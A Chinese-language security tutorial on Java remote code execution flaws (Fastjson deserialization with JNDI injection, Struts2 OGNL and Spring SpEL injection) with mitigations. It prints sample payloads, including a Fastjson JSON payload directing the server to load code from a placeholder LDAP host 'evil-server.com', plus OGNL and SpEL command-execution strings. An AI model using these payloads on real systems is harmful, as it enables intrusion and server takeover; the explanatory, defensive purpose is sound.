摘要:Java因其稳定性和强大的生态系统而成为企业级应用的首选,但也正因其复杂的特性,催生了多种高危的RCE(远程代码执行)漏洞。本文将深入Java世界的RCE“梦魇”,从最臭名昭著的“反序列化”漏洞(如Fastjson、Log4Shell)讲起,再到Struts2的OGNL表达式注入和Spring的SpEL注入,系统性地剖析这些漏洞的成因、利用链条及防御之道。


一、RCE的“万恶之源”:Runtime.getRuntime().exec()

在Java中,执行本地系统命令最直接的方式就是通过Runtime类。

Java

// 任何能够让攻击者控制cmd参数的代码,都可能导致RCE
String cmd = request.getParameter("cmd"); 
Runtime.getRuntime().exec(cmd); 

几乎所有Java RCE漏洞的最终目的(Sink),都是要调用这个方法或类似的方法(如ProcessBuilder)。攻击者的全部伎俩,就是寻找一条从外部输入(Source)到这个危险方法(Sink)的通路。

二、反序列化:来自“过去”的幽灵

Java的反序列化漏洞堪称RCE的“万年长青树”,从Shiro、Fastjson到Log4Shell(其本质也利用了JNDI注入后的反序列化),其身影无处不在。

  • 核心原理: Java的序列化(Serialization)是将一个对象的状态转换为字节流,以便存储或传输。反序列化则是将字节流还原为对象。问题在于,如果应用程序反序列化了来自不受信任来源的数据,攻击者就可以构造一个恶意的字节流。当这个流被还原时,程序会执行恶意对象中预设的危险方法(如readObject()),从而触发一条“调用链”(Gadget Chain),最终抵达Runtime.exec()

  • 著名案例:Fastjson Fastjson是一款流行的JSON处理库,它在反序列化JSON字符串时,允许使用@type字段指定要还原的对象的类。

    1. 攻击载荷:攻击者构造一个特殊的JSON字符串:

      JSON

      {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://evil-server.com/Exploit",
        "autoCommit": true
      }
      
    2. 触发过程:Fastjson在解析时,会实例化JdbcRowSetImpl这个类,并调用它的setDataSourceNamesetAutoCommit方法。当setAutoCommit(true)被调用时,它会去连接dataSourceName指定的LDAP地址。

    3. JNDI注入:攻击者在自己的evil-server.com上部署一个恶意的LDAP服务。当受害者服务器连接时,LDAP服务会返回一个包含恶意Java代码的引用(Reference)。

    4. 最终执行:受害者的JNDI服务在解析这个引用时,会远程加载并实例化恶意代码,其中的构造函数或静态代码块里就藏着Runtime.getRuntime().exec("calc.exe")之类的命令。

三、表达式语言(EL)注入:动态执行的“魔鬼”

为了开发的灵活性,许多Java框架引入了表达式语言,如OGNL(Struts2)和SpEL(Spring)。它们允许开发者在运行时动态地执行代码,但这扇“方便之门”也成了RCE的“后门”。

  • OGNL注入(Struts2) OGNL(Object-Graph Navigation Language)是一种强大的表达式语言,可以访问Java对象的任意属性和方法。Struts2框架用它来处理HTTP参数到Action对象的绑定。如果处理不当,攻击者就可以构造恶意的表达式来执行命令。

    • 攻击载荷(历史S2-045)%{(#_=new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).start()}

    • 触发过程:攻击者将这个payload放在HTTP请求的Content-Type头部。Struts2的某些组件在解析这个头部时,会错误地将其作为OGNL表达式进行二次解析和执行。表达式创建了一个ProcessBuilder实例来执行whoami命令。

  • SpEL注入(Spring) SpEL(Spring Expression Language)是Spring框架中的“同款”。虽然比OGNL更严格,但在特定场景下(如XML配置解析、动态模板渲染)仍可能暴露攻击面。

    • 攻击载荷T(java.lang.Runtime).getRuntime().exec('id')

    • 触发过程T()是SpEL中用于引用类(Type)的运算符。T(java.lang.Runtime)直接获取了Runtime类的Class对象,然后通过静态方法getRuntime()和实例方法exec()执行命令。当开发者错误地将用户输入拼接到一个SpEL解析上下文中时,漏洞便产生。

四、防御之道

  1. 禁用或安全地使用反序列化

    • 关闭:如果业务不需要,彻底关闭Fastjson的autoTypeSupport

    • 白名单:对于需要反序列化的场景,使用白名单机制,只允许指定的、安全的类被反序列化。

    • 升级:及时更新所有涉及反序列化的库(Log4j, Shiro, Jackson, Fastjson等)。

  2. 输入验证:对所有进入表达式引擎的用户输入进行严格的过滤,剔除#, T(), new等危险字符。

  3. 最小权限原则:以低权限用户运行Java应用,即使RCE被触发,其破坏力也会被限制在沙箱内。

  4. 依赖管理:使用Maven/Gradle等工具的依赖分析功能,定期扫描并更新存在已知漏洞的第三方库。

更多推荐